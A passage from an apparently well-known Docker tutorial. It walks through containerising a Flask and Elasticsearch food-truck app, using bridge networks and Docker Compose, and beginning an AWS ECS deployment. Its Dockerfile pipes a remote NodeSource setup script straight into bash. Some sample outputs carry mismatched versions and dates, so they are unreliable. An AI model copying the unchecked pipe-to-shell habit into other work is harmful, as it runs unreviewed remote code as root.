+[2018-07-29T05:49:19,439][WARN ][o.e.x.s.a.s.m.NativeRoleMappingStore] [L1VMyzt] Failed to clear cache for realms [[]]
+[2018-07-29T05:49:19,542][INFO ][o.e.g.GatewayService ] [L1VMyzt] recovered [0] indices into cluster_state
+
+Now, lets try to see if can send a request to the Elasticsearch container. We use the 9200
port to send a cURL
request to the container.
$ curl 0.0.0.0:9200
+{
+ "name" : "ijJDAOm",
+ "cluster_name" : "docker-cluster",
+ "cluster_uuid" : "a_nSV3XmTCqpzYYzb-LhNw",
+ "version" : {
+ "number" : "6.3.2",
+ "build_flavor" : "default",
+ "build_type" : "tar",
+ "build_hash" : "053779d",
+ "build_date" : "2018-07-20T05:20:23.451332Z",
+ "build_snapshot" : false,
+ "lucene_version" : "7.3.1",
+ "minimum_wire_compatibility_version" : "5.6.0",
+ "minimum_index_compatibility_version" : "5.0.0"
+ },
+ "tagline" : "You Know, for Search"
+}
+
+Sweet! It's looking good! While we are at it, let's get our Flask container running too. But before we get to that, we need a Dockerfile
. In the last section, we used python:3.8
image as our base image. This time, however, apart from installing Python dependencies via pip
, we want our application to also generate our minified Javascript file for production. For this, we'll require Nodejs. Since we need a custom build step, we'll start from the ubuntu
base image to build our Dockerfile
from scratch.
++Note: if you find that an existing image doesn't cater to your needs, feel free to start from another base image and tweak it yourself. For most of the images on Docker Hub, you should be able to find the corresponding
+Dockerfile
on Github. Reading through existing Dockerfiles is one of the best ways to learn how to roll your own.
Our Dockerfile for the flask app looks like below -
+# start from base
+FROM ubuntu:18.04
+
+MAINTAINER Prakhar Srivastav <prakhar@prakhar.me>
+
+# install system-wide deps for python and node
+RUN apt-get -yqq update
+RUN apt-get -yqq install python3-pip python3-dev curl gnupg
+RUN curl -sL https://deb.nodesource.com/setup_10.x | bash
+RUN apt-get install -yq nodejs
+
+# copy our application code
+ADD flask-app /opt/flask-app
+WORKDIR /opt/flask-app
+
+# fetch app specific deps
+RUN npm install
+RUN npm run build
+RUN pip3 install -r requirements.txt
+
+# expose port
+EXPOSE 5000
+
+# start app
+CMD [ "python3", "./app.py" ]
+
+Quite a few new things here so let's quickly go over this file. We start off with the Ubuntu LTS base image and use the package manager apt-get
to install the dependencies namely - Python and Node. The yqq
flag is used to suppress output and assumes "Yes" to all prompts.
We then use the ADD
command to copy our application into a new volume in the container - /opt/flask-app
. This is where our code will reside. We also set this as our working directory, so that the following commands will be run in the context of this location. Now that our system-wide dependencies are installed, we get around to installing app-specific ones. First off we tackle Node by installing the packages from npm and running the build command as defined in our package.json
file. We finish the file off by installing the Python packages, exposing the port and defining the CMD
to run as we did in the last section.
Finally, we can go ahead, build the image and run the container (replace yourusername
with your username below).
$ docker build -t yourusername/foodtrucks-web .
+
+In the first run, this will take some time as the Docker client will download the ubuntu image, run all the commands and prepare your image. Re-running docker build
after any subsequent changes you make to the application code will almost be instantaneous. Now let's try running our app.
$ docker run -P --rm yourusername/foodtrucks-web
+Unable to connect to ES. Retying in 5 secs...
+Unable to connect to ES. Retying in 5 secs...
+Unable to connect to ES. Retying in 5 secs...
+Out of retries. Bailing out...
+
+Oops! Our flask app was unable to run since it was unable to connect to Elasticsearch. How do we tell one container about the other container and get them to talk to each other? The answer lies in the next section.
+Before we talk about the features Docker provides especially to deal with such scenarios, let's see if we can figure out a way to get around the problem. Hopefully, this should give you an appreciation for the specific feature that we are going to study.
+Okay, so let's run docker container ls
(which is same as docker ps
) and see what we have.
$ docker container ls
+CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
+277451c15ec1 docker.elastic.co/elasticsearch/elasticsearch:6.3.2 "/usr/local/bin/dock…" 17 minutes ago Up 17 minutes 0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp es
+
+So we have one ES container running on 0.0.0.0:9200
port which we can directly access. If we can tell our Flask app to connect to this URL, it should be able to connect and talk to ES, right? Let's dig into our Python code and see how the connection details are defined.
es = Elasticsearch(host='es')
+
+To make this work, we need to tell the Flask container that the ES container is running on 0.0.0.0
host (the port by default is 9200
) and that should make it work, right? Unfortunately, that is not correct since the IP 0.0.0.0
is the IP to access ES container from the host machine i.e. from my Mac. Another container will not be able to access this on the same IP address. Okay if not that IP, then which IP address should the ES container be accessible by? I'm glad you asked this question.
Now is a good time to start our exploration of networking in Docker. When docker is installed, it creates three networks automatically.
+$ docker network ls
+NETWORK ID NAME DRIVER SCOPE
+c2c695315b3a bridge bridge local
+a875bec5d6fd host host local
+ead0e804a67b none null local
+
+The bridge network is the network in which containers are run by default. So that means that when I ran the ES container, it was running in this bridge network. To validate this, let's inspect the network.
+$ docker network inspect bridge
+[
+ {
+ "Name": "bridge",
+ "Id": "c2c695315b3aaf8fc30530bb3c6b8f6692cedd5cc7579663f0550dfdd21c9a26",
+ "Created": "2018-07-28T20:32:39.405687265Z",
+ "Scope": "local",
+ "Driver": "bridge",
+ "EnableIPv6": false,
+ "IPAM": {
+ "Driver": "default",
+ "Options": null,
+ "Config": [
+ {
+ "Subnet": "172.17.0.0/16",
+ "Gateway": "172.17.0.1"
+ }
+ ]
+ },
+ "Internal": false,
+ "Attachable": false,
+ "Ingress": false,
+ "ConfigFrom": {
+ "Network": ""
+ },
+ "ConfigOnly": false,
+ "Containers": {
+ "277451c15ec183dd939e80298ea4bcf55050328a39b04124b387d668e3ed3943": {
+ "Name": "es",
+ "EndpointID": "5c417a2fc6b13d8ec97b76bbd54aaf3ee2d48f328c3f7279ee335174fbb4d6bb",
+ "MacAddress": "02:42:ac:11:00:02",
+ "IPv4Address": "172.17.0.2/16",
+ "IPv6Address": ""
+ }
+ },
+ "Options": {
+ "com.docker.network.bridge.default_bridge": "true",
+ "com.docker.network.bridge.enable_icc": "true",
+ "com.docker.network.bridge.enable_ip_masquerade": "true",
+ "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
+ "com.docker.network.bridge.name": "docker0",
+ "com.docker.network.driver.mtu": "1500"
+ },
+ "Labels": {}
+ }
+]
+
+You can see that our container 277451c15ec1
is listed under the Containers
section in the output. What we also see is the IP address this container has been allotted - 172.17.0.2
. Is this the IP address that we're looking for? Let's find out by running our flask container and trying to access this IP.
$ docker run -it --rm yourusername/foodtrucks-web bash
+root@35180ccc206a:/opt/flask-app# curl 172.17.0.2:9200
+{
+ "name" : "Jane Foster",
+ "cluster_name" : "elasticsearch",
+ "version" : {
+ "number" : "2.1.1",
+ "build_hash" : "40e2c53a6b6c2972b3d13846e450e66f4375bd71",
+ "build_timestamp" : "2015-12-15T13:05:55Z",
+ "build_snapshot" : false,
+ "lucene_version" : "5.3.1"
+ },
+ "tagline" : "You Know, for Search"
+}
+root@35180ccc206a:/opt/flask-app# exit
+
+This should be fairly straightforward to you by now. We start the container in the interactive mode with the bash
process. The --rm
is a convenient flag for running one off commands since the container gets cleaned up when its work is done. We try a curl
but we need to install it first. Once we do that, we see that we can indeed talk to ES on 172.17.0.2:9200
. Awesome!
Although we have figured out a way to make the containers talk to each other, there are still two problems with this approach -
+es
hostname stands for 172.17.0.2
or some other IP since the IP can change?The good news that Docker has a great answer to our questions. It allows us to define our own networks while keeping them isolated using the docker network
command.
Let's first go ahead and create our own network.
+$ docker network create foodtrucks-net
+0815b2a3bb7a6608e850d05553cc0bda98187c4528d94621438f31d97a6fea3c
+
+$ docker network ls
+NETWORK ID NAME DRIVER SCOPE
+c2c695315b3a bridge bridge local
+0815b2a3bb7a foodtrucks-net bridge local
+a875bec5d6fd host host local
+ead0e804a67b none null local
+
+The network create
command creates a new bridge network, which is what we need at the moment. In terms of Docker, a bridge network uses a software bridge which allows containers connected to the same bridge network to communicate, while providing isolation from containers which are not connected to that bridge network. The Docker bridge driver automatically installs rules in the host machine so that containers on different bridge networks cannot communicate directly with each other. There are other kinds of networks that you can create, and you are encouraged to read about them in the official docs.
Now that we have a network, we can launch our containers inside this network using the --net
flag. Let's do that - but first, in order to launch a new container with the same name, we will stop and remove our ES container that is running in the bridge (default) network.
$ docker container stop es
+es
+
+$ docker container rm es
+es
+
+$ docker run -d --name es --net foodtrucks-net -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+13d6415f73c8d88bddb1f236f584b63dbaf2c3051f09863a3f1ba219edba3673
+
+$ docker network inspect foodtrucks-net
+[
+ {
+ "Name": "foodtrucks-net",
+ "Id": "0815b2a3bb7a6608e850d05553cc0bda98187c4528d94621438f31d97a6fea3c",
+ "Created": "2018-07-30T00:01:29.1500984Z",
+ "Scope": "local",
+ "Driver": "bridge",
+ "EnableIPv6": false,
+ "IPAM": {
+ "Driver": "default",
+ "Options": {},
+ "Config": [
+ {
+ "Subnet": "172.18.0.0/16",
+ "Gateway": "172.18.0.1"
+ }
+ ]
+ },
+ "Internal": false,
+ "Attachable": false,
+ "Ingress": false,
+ "ConfigFrom": {
+ "Network": ""
+ },
+ "ConfigOnly": false,
+ "Containers": {
+ "13d6415f73c8d88bddb1f236f584b63dbaf2c3051f09863a3f1ba219edba3673": {
+ "Name": "es",
+ "EndpointID": "29ba2d33f9713e57eb6b38db41d656e4ee2c53e4a2f7cf636bdca0ec59cd3aa7",
+ "MacAddress": "02:42:ac:12:00:02",
+ "IPv4Address": "172.18.0.2/16",
+ "IPv6Address": ""
+ }
+ },
+ "Options": {},
+ "Labels": {}
+ }
+]
+
+As you can see, our es
container is now running inside the foodtrucks-net
bridge network. Now let's inspect what happens when we launch in our foodtrucks-net
network.
$ docker run -it --rm --net foodtrucks-net yourusername/foodtrucks-web bash
+root@9d2722cf282c:/opt/flask-app# curl es:9200
+{
+ "name" : "wWALl9M",
+ "cluster_name" : "docker-cluster",
+ "cluster_uuid" : "BA36XuOiRPaghPNBLBHleQ",
+ "version" : {
+ "number" : "6.3.2",
+ "build_flavor" : "default",
+ "build_type" : "tar",
+ "build_hash" : "053779d",
+ "build_date" : "2018-07-20T05:20:23.451332Z",
+ "build_snapshot" : false,
+ "lucene_version" : "7.3.1",
+ "minimum_wire_compatibility_version" : "5.6.0",
+ "minimum_index_compatibility_version" : "5.0.0"
+ },
+ "tagline" : "You Know, for Search"
+}
+root@53af252b771a:/opt/flask-app# ls
+app.py node_modules package.json requirements.txt static templates webpack.config.js
+root@53af252b771a:/opt/flask-app# python3 app.py
+Index not found...
+Loading data in elasticsearch ...
+Total trucks loaded: 733
+ * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
+root@53af252b771a:/opt/flask-app# exit
+
+Wohoo! That works! On user-defined networks like foodtrucks-net, containers can not only communicate by IP address, but can also resolve a container name to an IP address. This capability is called automatic service discovery. Great! Let's launch our Flask container for real now -
+$ docker run -d --net foodtrucks-net -p 5000:5000 --name foodtrucks-web yourusername/foodtrucks-web
+852fc74de2954bb72471b858dce64d764181dca0cf7693fed201d76da33df794
+
+$ docker container ls
+CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
+852fc74de295 yourusername/foodtrucks-web "python3 ./app.py" About a minute ago Up About a minute 0.0.0.0:5000->5000/tcp foodtrucks-web
+13d6415f73c8 docker.elastic.co/elasticsearch/elasticsearch:6.3.2 "/usr/local/bin/dock…" 17 minutes ago Up 17 minutes 0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp es
+
+$ curl -I 0.0.0.0:5000
+HTTP/1.0 200 OK
+Content-Type: text/html; charset=utf-8
+Content-Length: 3697
+Server: Werkzeug/0.11.2 Python/2.7.6
+Date: Sun, 10 Jan 2016 23:58:53 GMT
+
+Head over to http://0.0.0.0:5000 and see your glorious app live! Although that might have seemed like a lot of work, we actually just typed 4 commands to go from zero to running. I've collated the commands in a bash script.
+#!/bin/bash
+
+# build the flask container
+docker build -t yourusername/foodtrucks-web .
+
+# create the network
+docker network create foodtrucks-net
+
+# start the ES container
+docker run -d --name es --net foodtrucks-net -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+
+# start the flask app container
+docker run -d --net foodtrucks-net -p 5000:5000 --name foodtrucks-web yourusername/foodtrucks-web
+
+Now imagine you are distributing your app to a friend, or running on a server that has docker installed. You can get a whole app running with just one command!
+$ git clone https://github.com/prakhar1989/FoodTrucks
+$ cd FoodTrucks
+$ ./setup-docker.sh
+
+And that's it! If you ask me, I find this to be an extremely awesome, and a powerful way of sharing and running your applications!
+Till now we've spent all our time exploring the Docker client. In the Docker ecosystem, however, there are a bunch of other open-source tools which play very nicely with Docker. A few of them are -
+In this section, we are going to look at one of these tools, Docker Compose, and see how it can make dealing with multi-container apps easier.
+The background story of Docker Compose is quite interesting. Roughly around January 2014, a company called OrchardUp launched a tool called Fig. The idea behind Fig was to make isolated development environments work with Docker. The project was very well received on Hacker News - I oddly remember reading about it but didn't quite get the hang of it.
+The first comment on the forum actually does a good job of explaining what Fig is all about.
+++So really at this point, that's what Docker is about: running processes. Now Docker offers a quite rich API to run the processes: shared volumes (directories) between containers (i.e. running images), forward port from the host to the container, display logs, and so on. But that's it: Docker as of now, remains at the process level.
+While it provides options to orchestrate multiple containers to create a single "app", it doesn't address the management of such group of containers as a single entity. And that's where tools such as Fig come in: talking about a group of containers as a single entity. Think "run an app" (i.e. "run an orchestrated cluster of containers") instead of "run a container".
+
It turns out that a lot of people using docker agree with this sentiment. Slowly and steadily as Fig became popular, Docker Inc. took notice, acquired the company and re-branded Fig as Docker Compose.
+So what is Compose used for? Compose is a tool that is used for defining and running multi-container Docker apps in an easy way. It provides a configuration file called docker-compose.yml
that can be used to bring up an application and the suite of services it depends on with just one command. Compose works in all environments: production, staging, development, testing, as well as CI workflows, although Compose is ideal for development and testing environments.
Let's see if we can create a docker-compose.yml
file for our SF-Foodtrucks app and evaluate whether Docker Compose lives up to its promise.
The first step, however, is to install Docker Compose. If you're running Windows or Mac, Docker Compose is already installed as it comes in the Docker Toolbox. Linux users can easily get their hands on Docker Compose by following the instructions on the docs. Since Compose is written in Python, you can also simply do pip install docker-compose
. Test your installation with -
$ docker-compose --version
+docker-compose version 1.21.2, build a133471
+
+Now that we have it installed, we can jump on the next step i.e. the Docker Compose file docker-compose.yml
. The syntax for YAML is quite simple and the repo already contains the docker-compose file that we'll be using.
version: "3"
+services:
+ es:
+ image: docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+ container_name: es
+ environment:
+ - discovery.type=single-node
+ ports:
+ - 9200:9200
+ volumes:
+ - esdata1:/usr/share/elasticsearch/data
+ web:
+ image: yourusername/foodtrucks-web
+ command: python3 app.py
+ depends_on:
+ - es
+ ports:
+ - 5000:5000
+ volumes:
+ - ./flask-app:/opt/flask-app
+volumes:
+ esdata1:
+ driver: local
+
+Let me breakdown what the file above means. At the parent level, we define the names of our services - es
and web
. The image
parameter is always required, and for each service that we want Docker to run, we can add additional parameters. For es
, we just refer to the elasticsearch
image available on Elastic registry. For our Flask app, we refer to the image that we built at the beginning of this section.
Other parameters such as command
and ports
provide more information about the container. The volumes
parameter specifies a mount point in our web
container where the code will reside. This is purely optional and is useful if you need access to logs, etc. We'll later see how this can be useful during development. Refer to the online reference to learn more about the parameters this file supports. We also add volumes for the es
container so that the data we load persists between restarts. We also specify depends_on
, which tells docker to start the es
container before web
. You can read more about it on docker compose docs.
++Note: You must be inside the directory with the
+docker-compose.yml
file in order to execute most Compose commands.
Great! Now the file is ready, let's see docker-compose
in action. But before we start, we need to make sure the ports and names are free. So if you have the Flask and ES containers running, lets turn them off.
$ docker stop es foodtrucks-web
+es
+foodtrucks-web
+
+$ docker rm es foodtrucks-web
+es
+foodtrucks-web
+
+Now we can run docker-compose
. Navigate to the food trucks directory and run docker-compose up
.
$ docker-compose up
+Creating network "foodtrucks_default" with the default driver
+Creating foodtrucks_es_1
+Creating foodtrucks_web_1
+Attaching to foodtrucks_es_1, foodtrucks_web_1
+es_1 | [2016-01-11 03:43:50,300][INFO ][node ] [Comet] version[2.1.1], pid[1], build[40e2c53/2015-12-15T13:05:55Z]
+es_1 | [2016-01-11 03:43:50,307][INFO ][node ] [Comet] initializing ...
+es_1 | [2016-01-11 03:43:50,366][INFO ][plugins ] [Comet] loaded [], sites []
+es_1 | [2016-01-11 03:43:50,421][INFO ][env ] [Comet] using [1] data paths, mounts [[/usr/share/elasticsearch/data (/dev/sda1)]], net usable_space [16gb], net total_space [18.1gb], spins? [possibly], types [ext4]
+es_1 | [2016-01-11 03:43:52,626][INFO ][node ] [Comet] initialized
+es_1 | [2016-01-11 03:43:52,632][INFO ][node ] [Comet] starting ...
+es_1 | [2016-01-11 03:43:52,703][WARN ][common.network ] [Comet] publish address: {0.0.0.0} is a wildcard address, falling back to first non-loopback: {172.17.0.2}
+es_1 | [2016-01-11 03:43:52,704][INFO ][transport ] [Comet] publish_address {172.17.0.2:9300}, bound_addresses {[::]:9300}
+es_1 | [2016-01-11 03:43:52,721][INFO ][discovery ] [Comet] elasticsearch/cEk4s7pdQ-evRc9MqS2wqw
+es_1 | [2016-01-11 03:43:55,785][INFO ][cluster.service ] [Comet] new_master {Comet}{cEk4s7pdQ-evRc9MqS2wqw}{172.17.0.2}{172.17.0.2:9300}, reason: zen-disco-join(elected_as_master, [0] joins received)
+es_1 | [2016-01-11 03:43:55,818][WARN ][common.network ] [Comet] publish address: {0.0.0.0} is a wildcard address, falling back to first non-loopback: {172.17.0.2}
+es_1 | [2016-01-11 03:43:55,819][INFO ][http ] [Comet] publish_address {172.17.0.2:9200}, bound_addresses {[::]:9200}
+es_1 | [2016-01-11 03:43:55,819][INFO ][node ] [Comet] started
+es_1 | [2016-01-11 03:43:55,826][INFO ][gateway ] [Comet] recovered [0] indices into cluster_state
+es_1 | [2016-01-11 03:44:01,825][INFO ][cluster.metadata ] [Comet] [sfdata] creating index, cause [auto(index api)], templates [], shards [5]/[1], mappings [truck]
+es_1 | [2016-01-11 03:44:02,373][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]
+es_1 | [2016-01-11 03:44:02,510][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]
+es_1 | [2016-01-11 03:44:02,593][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]
+es_1 | [2016-01-11 03:44:02,708][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]
+es_1 | [2016-01-11 03:44:03,047][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]
+web_1 | * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
+
+Head over to the IP to see your app live. That was amazing wasn't it? Just a few lines of configuration and we have two Docker containers running successfully in unison. Let's stop the services and re-run in detached mode.
+web_1 | * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
+Killing foodtrucks_web_1 ... done
+Killing foodtrucks_es_1 ... done
+
+$ docker-compose up -d
+Creating es ... done
+Creating foodtrucks_web_1 ... done
+
+$ docker-compose ps
+ Name Command State Ports
+--------------------------------------------------------------------------------------------
+es /usr/local/bin/docker-entr ... Up 0.0.0.0:9200->9200/tcp, 9300/tcp
+foodtrucks_web_1 python3 app.py Up 0.0.0.0:5000->5000/tcp
+
+Unsurprisingly, we can see both containers running successfully. Where do the names come from? Those were created automatically by Compose. But does Compose also create the network automatically? Good question! Let's find out.
+First off, let us stop the services from running. We can always bring them back up with just one command. Data volumes will persist, so it’s possible to start the cluster again with the same data using docker-compose up
. To destroy the cluster and the data volumes, just type docker-compose down -v
.
$ docker-compose down -v
+Stopping foodtrucks_web_1 ... done
+Stopping es ... done
+Removing foodtrucks_web_1 ... done
+Removing es ... done
+Removing network foodtrucks_default
+Removing volume foodtrucks_esdata1
+
+While we're are at it, we'll also remove the foodtrucks
network that we created last time.
$ docker network rm foodtrucks-net
+$ docker network ls
+NETWORK ID NAME DRIVER SCOPE
+c2c695315b3a bridge bridge local
+a875bec5d6fd host host local
+ead0e804a67b none null local
+
+Great! Now that we have a clean slate, let's re-run our services and see if Compose does its magic.
+$ docker-compose up -d
+Recreating foodtrucks_es_1
+Recreating foodtrucks_web_1
+
+$ docker container ls
+CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
+f50bb33a3242 yourusername/foodtrucks-web "python3 app.py" 14 seconds ago Up 13 seconds 0.0.0.0:5000->5000/tcp foodtrucks_web_1
+e299ceeb4caa elasticsearch "/docker-entrypoint.s" 14 seconds ago Up 14 seconds 9200/tcp, 9300/tcp foodtrucks_es_1
+
+So far, so good. Time to see if any networks were created.
+$ docker network ls
+NETWORK ID NAME DRIVER
+c2c695315b3a bridge bridge local
+f3b80f381ed3 foodtrucks_default bridge local
+a875bec5d6fd host host local
+ead0e804a67b none null local
+
+You can see that compose went ahead and created a new network called foodtrucks_default
and attached both the new services in that network so that each of these are discoverable to the other. Each container for a service joins the default network and is both reachable by other containers on that network, and discoverable by them at a hostname identical to the container name.
$ docker ps
+CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
+8c6bb7e818ec docker.elastic.co/elasticsearch/elasticsearch:6.3.2 "/usr/local/bin/dock…" About a minute ago Up About a minute 0.0.0.0:9200->9200/tcp, 9300/tcp es
+7640cec7feb7 yourusername/foodtrucks-web "python3 app.py" About a minute ago Up About a minute 0.0.0.0:5000->5000/tcp foodtrucks_web_1
+
+$ docker network inspect foodtrucks_default
+[
+ {
+ "Name": "foodtrucks_default",
+ "Id": "f3b80f381ed3e03b3d5e605e42c4a576e32d38ba24399e963d7dad848b3b4fe7",
+ "Created": "2018-07-30T03:36:06.0384826Z",
+ "Scope": "local",
+ "Driver": "bridge",
+ "EnableIPv6": false,
+ "IPAM": {
+ "Driver": "default",
+ "Options": null,
+ "Config": [
+ {
+ "Subnet": "172.19.0.0/16",
+ "Gateway": "172.19.0.1"
+ }
+ ]
+ },
+ "Internal": false,
+ "Attachable": true,
+ "Ingress": false,
+ "ConfigFrom": {
+ "Network": ""
+ },
+ "ConfigOnly": false,
+ "Containers": {
+ "7640cec7feb7f5615eaac376271a93fb8bab2ce54c7257256bf16716e05c65a5": {
+ "Name": "foodtrucks_web_1",
+ "EndpointID": "b1aa3e735402abafea3edfbba605eb4617f81d94f1b5f8fcc566a874660a0266",
+ "MacAddress": "02:42:ac:13:00:02",
+ "IPv4Address": "172.19.0.2/16",
+ "IPv6Address": ""
+ },
+ "8c6bb7e818ec1f88c37f375c18f00beb030b31f4b10aee5a0952aad753314b57": {
+ "Name": "es",
+ "EndpointID": "649b3567d38e5e6f03fa6c004a4302508c14a5f2ac086ee6dcf13ddef936de7b",
+ "MacAddress": "02:42:ac:13:00:03",
+ "IPv4Address": "172.19.0.3/16",
+ "IPv6Address": ""
+ }
+ },
+ "Options": {},
+ "Labels": {
+ "com.docker.compose.network": "default",
+ "com.docker.compose.project": "foodtrucks",
+ "com.docker.compose.version": "1.21.2"
+ }
+ }
+]
+
+Before we jump to the next section, there's one last thing I wanted to cover about docker-compose. As stated earlier, docker-compose is really great for development and testing. So let's see how we can configure compose to make our lives easier during development.
+Throughout this tutorial, we've worked with readymade docker images. While we've built images from scratch, we haven't touched any application code yet and mostly restricted ourselves to editing Dockerfiles and YAML configurations. One thing that you must be wondering is how does the workflow look during development? Is one supposed to keep creating Docker images for every change, then publish it and then run it to see if the changes work as expected? I'm sure that sounds super tedious. There has to be a better way. In this section, that's what we're going to explore.
+Let's see how we can make a change in the Foodtrucks app we just ran. Make sure you have the app running,
+$ docker container ls
+CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
+5450ebedd03c yourusername/foodtrucks-web "python3 app.py" 9 seconds ago Up 6 seconds 0.0.0.0:5000->5000/tcp foodtrucks_web_1
+05d408b25dfe docker.elastic.co/elasticsearch/elasticsearch:6.3.2 "/usr/local/bin/dock…" 10 hours ago Up 10 hours 0.0.0.0:9200->9200/tcp, 9300/tcp es
+
+Now let's see if we can change this app to display a Hello world!
message when a request is made to /hello
route. Currently, the app responds with a 404.
$ curl -I 0.0.0.0:5000/hello
+HTTP/1.0 404 NOT FOUND
+Content-Type: text/html
+Content-Length: 233
+Server: Werkzeug/0.11.2 Python/2.7.15rc1
+Date: Mon, 30 Jul 2018 15:34:38 GMT
+
+Why does this happen? Since ours is a Flask app, we can see app.py
(link) for answers. In Flask, routes are defined with @app.route syntax. In the file, you'll see that we only have three routes defined - /
,/debug
and/search
. The/
route renders the main app, thedebug
route is used to return some debug information and finallysearch
is used by the app to query elasticsearch.
$ curl 0.0.0.0:5000/debug
+{
+ "msg": "yellow open sfdata Ibkx7WYjSt-g8NZXOEtTMg 5 1 618 0 1.3mb 1.3mb\n",
+ "status": "success"
+}
+
+Given that context, how would we add a new route for hello
? You guessed it! Let's open flask-app/app.py
in our favorite editor and make the following change
@app.route('/')
+def index():
+ return render_template("index.html")
+
+# add a new hello route
+@app.route('/hello')
+def hello():
+ return "hello world!"
+
+Now let's try making a request again
+$ curl -I 0.0.0.0:5000/hello
+HTTP/1.0 404 NOT FOUND
+Content-Type: text/html
+Content-Length: 233
+Server: Werkzeug/0.11.2 Python/2.7.15rc1
+Date: Mon, 30 Jul 2018 15:34:38 GMT
+
+Oh no! That didn't work! What did we do wrong? While we did make the change in app.py
, the file resides in our machine (or the host machine), but since Docker is running our containers based off the yourusername/foodtrucks-web
image, it doesn't know about this change. To validate this, lets try the following -
$ docker-compose run web bash
+Starting es ... done
+root@581e351c82b0:/opt/flask-app# ls
+app.py package-lock.json requirements.txt templates
+node_modules package.json static webpack.config.js
+root@581e351c82b0:/opt/flask-app# grep hello app.py
+root@581e351c82b0:/opt/flask-app# exit
+
+What we're trying to do here is to validate that our changes are not in the app.py
that's running in the container. We do this by running the command docker-compose run
, which is similar to its cousin docker run
but takes additional arguments for the service (which is web
in our case). As soon as we run bash
, the shell opens in /opt/flask-app
as specified in our Dockerfile. From the grep command we can see that our changes are not in the file.
Lets see how we can fix it. First off, we need to tell docker compose to not use the image and instead use the files locally. We'll also set debug mode to true
so that Flask knows to reload the server when app.py
changes. Replace the web
portion of the docker-compose.yml
file like so:
version: "3"
+services:
+ es:
+ image: docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+ container_name: es
+ environment:
+ - discovery.type=single-node
+ ports:
+ - 9200:9200
+ volumes:
+ - esdata1:/usr/share/elasticsearch/data
+ web:
+ build: . # replaced image with build
+ command: python3 app.py
+ environment:
+ - DEBUG=True # set an env var for flask
+ depends_on:
+ - es
+ ports:
+ - "5000:5000"
+ volumes:
+ - ./flask-app:/opt/flask-app
+volumes:
+ esdata1:
+ driver: local
+
+With that change (diff), let's stop and start the containers.
+$ docker-compose down -v
+Stopping foodtrucks_web_1 ... done
+Stopping es ... done
+Removing foodtrucks_web_1 ... done
+Removing es ... done
+Removing network foodtrucks_default
+Removing volume foodtrucks_esdata1
+
+$ docker-compose up -d
+Creating network "foodtrucks_default" with the default driver
+Creating volume "foodtrucks_esdata1" with local driver
+Creating es ... done
+Creating foodtrucks_web_1 ... done
+
+As a final step, lets make the change in app.py
by adding a new route. Now we try to curl
$ curl 0.0.0.0:5000/hello
+hello world
+
+Wohoo! We get a valid response! Try playing around by making more changes in the app.
+That concludes our tour of Docker Compose. With Docker Compose, you can also pause your services, run a one-off command on a container and even scale the number of containers. I also recommend you checkout a few other use-cases of Docker compose. Hopefully, I was able to show you how easy it is to manage multi-container environments with Compose. In the final section, we are going to deploy our app to AWS!
+In the last section we used docker-compose
to run our app locally with a single command: docker-compose up
. Now that we have a functioning app we want to share this with the world, get some users, make tons of money and buy a big house in Miami. Executing the last three are beyond the scope of the tutorial, so we'll spend our time instead on figuring out how we can deploy our multi-container apps on the cloud with AWS.
If you've read this far you are pretty much convinced that Docker is a pretty cool technology. And you are not alone. Seeing the meteoric rise of Docker, almost all Cloud vendors started working on adding support for deploying Docker apps on their platform. As of today, you can deploy containers on Google Cloud Platform, AWS, Azure and many others. We already got a primer on deploying single container apps with Elastic Beanstalk and in this section we are going to look at Elastic Container Service (or ECS) by AWS.
+AWS ECS is a scalable and super flexible container management service that supports Docker containers. It allows you to operate a Docker cluster on top of EC2 instances via an easy-to-use API. Where Beanstalk came with reasonable defaults, ECS allows you to completely tune your environment as per your needs. This makes ECS, in my opinion, quite complex to get started with.
+Luckily for us, ECS has a friendly CLI tool that understands Docker Compose files and automatically provisions the cluster on ECS! Since we already have a functioning docker-compose.yml
it should not take a lot of effort in getting up and running on AWS. So let's get started!
The first step is to install the CLI. Instructions to install the CLI on both Mac and Linux are explained very clearly in the official docs. Go ahead, install the CLI and when you are done, verify the install by running
+$ ecs-cli --version
+ecs-cli version 1.18.1 (7e9df84)
+
+Next, we'll be working on configuring the CLI so that we can talk to ECS. We'll be following the steps as detailed in the official guide on AWS ECS docs. In case of any confusion, please feel free to refer to that guide.
+The first step will involve creating a profile that we'll use for the rest of the tutorial. To continue, you'll need your AWS_ACCESS_KEY_ID
and AWS_SECRET_ACCESS_KEY
. To obtain these, follow the steps as detailed under the section titled Access Key and Secret Access Key on this page.
$ ecs-cli configure profile --profile-name ecs-foodtrucks --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY
+
+Next, we need to get a keypair which we'll be using to log into the instances. Head over to your EC2 Console and create a new keypair. Download the keypair and store it in a safe location. Another thing to note before you move away from this screen is the region name. In my case, I have named my key - ecs
and set my region as us-east-1
. This is what I'll assume for the rest of this walkthrough.
The next step is to configure the CLI.
+$ ecs-cli configure --region us-east-1 --cluster foodtrucks
+INFO[0000] Saved ECS CLI configuration for cluster (foodtrucks)
+
+We provide the configure
command with the region name we want our cluster to reside in and a cluster name. Make sure you provide the same region name that you used when creating the keypair. If you've not configured the AWS CLI on your computer before, you can use the official guide, which explains everything in great detail on how to get everything going.
The next step enables the CLI to create a CloudFormation template.
+$ ecs-cli up --keypair ecs --capability-iam --size 1 --instance-type t2.medium
